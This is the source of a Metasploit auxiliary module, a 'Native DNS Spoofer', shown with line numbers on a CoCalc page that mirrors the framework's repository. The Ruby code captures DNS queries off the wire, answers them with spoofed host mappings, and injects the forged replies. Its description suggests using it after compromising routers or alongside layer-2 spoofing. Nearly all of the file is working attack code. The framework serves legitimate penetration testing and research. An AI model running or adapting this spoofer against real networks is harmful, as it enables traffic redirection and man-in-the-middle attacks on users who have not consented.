CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/spoof/dns/native_spoofer.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
class MetasploitModule < Msf::Auxiliary
8
9
include Msf::Exploit::Capture
10
include Msf::Exploit::Remote::DNS::Client
11
include Msf::Exploit::Remote::DNS::Server
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Native DNS Spoofer (Example)',
18
'Description' => %q{
19
This module provides a Rex based DNS service to resolve queries intercepted
20
via the capture mixin. Configure STATIC_ENTRIES to contain host-name mappings
21
desired for spoofing using a hostsfile or space/semicolon separated entries.
22
In the default configuration, the service operates as a normal native DNS server
23
with the exception of consuming from and writing to the wire as opposed to a
24
listening socket. Best when compromising routers or spoofing L2 in order to
25
prevent return of the real reply which causes a race condition. The method
26
by which replies are filtered is up to the user (though iptables works fine).
27
},
28
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
29
'License' => MSF_LICENSE,
30
'References' => [],
31
'Actions' => [
32
[ 'Service', { 'Description' => 'Serve DNS entries' } ]
33
],
34
'PassiveActions' => [
35
'Service'
36
],
37
'DefaultAction' => 'Service',
38
'Notes' => {
39
'Reliability' => [],
40
'SideEffects' => [],
41
'Stability' => []
42
}
43
)
44
)
45
46
register_options(
47
[
48
OptString.new('FILTER', [false, 'The filter string for capturing traffic', 'dst port 53']),
49
OptAddress.new('SRVHOST', [true, 'The local host to listen on for DNS services.', '127.0.2.2'])
50
]
51
)
52
53
deregister_options('PCAPFILE')
54
end
55
56
#
57
# Wrapper for service execution and cleanup
58
#
59
def run
60
start_service
61
capture_traffic
62
service.wait
63
rescue Rex::BindFailed => e
64
print_error "Failed to bind to port #{datastore['RPORT']}: #{e.message}"
65
end
66
67
def cleanup
68
super
69
@capture_thread.kill if @capture_thread
70
close_pcap
71
end
72
73
#
74
# Generates reply with src and dst reversed
75
# Maintains original packet structure, proto, etc, changes ip_id
76
#
77
def reply_packet(pack)
78
rep = pack.dup
79
rep.eth_dst, rep.eth_src = rep.eth_src, rep.eth_dst
80
rep.ip_dst, rep.ip_src = rep.ip_src, rep.ip_dst
81
if pack.is_udp?
82
rep.udp_dst, rep.udp_src = rep.udp_src, rep.udp_dst
83
else
84
rep.tcp_dst, rep.tcp_src = rep.tcp_src, rep.tcp_dst
85
end
86
rep.ip_id = StructFu::Int16.new(rand(2**16))
87
return rep
88
end
89
90
#
91
# Configures capture and handoff
92
#
93
def capture_traffic
94
check_pcaprub_loaded
95
::Socket.do_not_reverse_lookup = true # Mac OS X workaround
96
open_pcap({ 'FILTER' => datastore['FILTER'] })
97
@capture_thread = Rex::ThreadFactory.spawn('DNSSpoofer', false) do
98
each_packet do |pack|
99
begin
100
parsed = PacketFu::Packet.parse(pack)
101
rescue StandardError => e
102
vprint_status('PacketFu could not parse captured packet')
103
elog('PacketFu could not parse captured packet', error: e)
104
end
105
106
begin
107
reply = reply_packet(parsed)
108
service.dispatch_request(reply, parsed.payload)
109
rescue StandardError => e
110
vprint_status('Could not process captured packet')
111
elog('Could not process captured packet', error: e)
112
end
113
end
114
end
115
end
116
117
#
118
# Creates Proc to handle incoming requests
119
#
120
def on_dispatch_request(cli, data)
121
return unless cli.is_a?(PacketFu::Packet)
122
123
peer = "#{cli.ip_daddr}:" << (cli.is_udp? ? cli.udp_dst.to_s : cli.tcp_dst.to_s)
124
125
# Deal with non DNS traffic
126
begin
127
req = Packet.encode_drb(data)
128
rescue StandardError => e
129
print_error("Could not decode payload segment of packet from #{peer}, check log")
130
dlog e.backtrace
131
return
132
end
133
134
answered = []
135
# Find cached items, remove request from forwarded packet
136
req.question.each do |ques|
137
cached = service.cache.find(ques.qname, ques.qtype.to_s)
138
if cached.empty?
139
next
140
else
141
cached.each do |subcached|
142
req.add_answer(subcached) unless req.answer.include?(subcached)
143
end
144
145
answered << ques
146
end
147
end
148
149
if (answered.count < req.question.count) && service.fwd_res
150
if req.header.rd == 0
151
vprint_status("Recursion forbidden in query for #{req.question.first.name} from #{peer}")
152
else
153
forward = req.dup
154
forward.question.delete_if { |question| answered.include?(question) }
155
begin
156
forwarded = service.fwd_res.send(Packet.validate(forward))
157
rescue NoResponseError
158
vprint_error('Did not receive a response')
159
return
160
end
161
162
unless service.cache.nil?
163
forwarded.answer.each do |ans|
164
rstring = ans.respond_to?(:address) ? "#{ans.name}:#{ans.address}" : ans.name
165
vprint_status("Caching response #{rstring} #{ans.type}")
166
service.cache.cache_record(ans)
167
end
168
end
169
170
# Merge the answers and use the upstream response
171
req.answer.each do |answer|
172
forwarded.add_answer(answer) unless forwarded.answer.include?(answer)
173
end
174
req = forwarded
175
end
176
end
177
178
req.header.qr = true
179
service.send_response(cli, req.encode)
180
end
181
182
#
183
# Creates Proc to handle outbound responses
184
#
185
def on_send_response(cli, data)
186
return unless cli.is_a?(PacketFu::Packet)
187
188
cli.payload = data
189
cli.recalc
190
inject cli.to_s
191
sent_info(cli, data) if datastore['VERBOSE']
192
end
193
194
#
195
# Prints information about spoofed packet after injection to reduce latency of operation
196
# Shown to improve response time by >50% from ~1ms -> 0.3-0.4ms
197
#
198
def sent_info(cli, data)
199
net = Packet.encode_net(data)
200
peer = "#{cli.ip_daddr}:" << (cli.is_udp? ? cli.udp_dst.to_s : cli.tcp_dst.to_s)
201
asked = net.question.map { |q| q.qName.delete_suffix('.') }.join(', ')
202
vprint_good("Sent packet with header:\n#{cli.inspect}")
203
vprint_good("Spoofed records for #{asked} to #{peer}")
204
end
205
206
end
207
208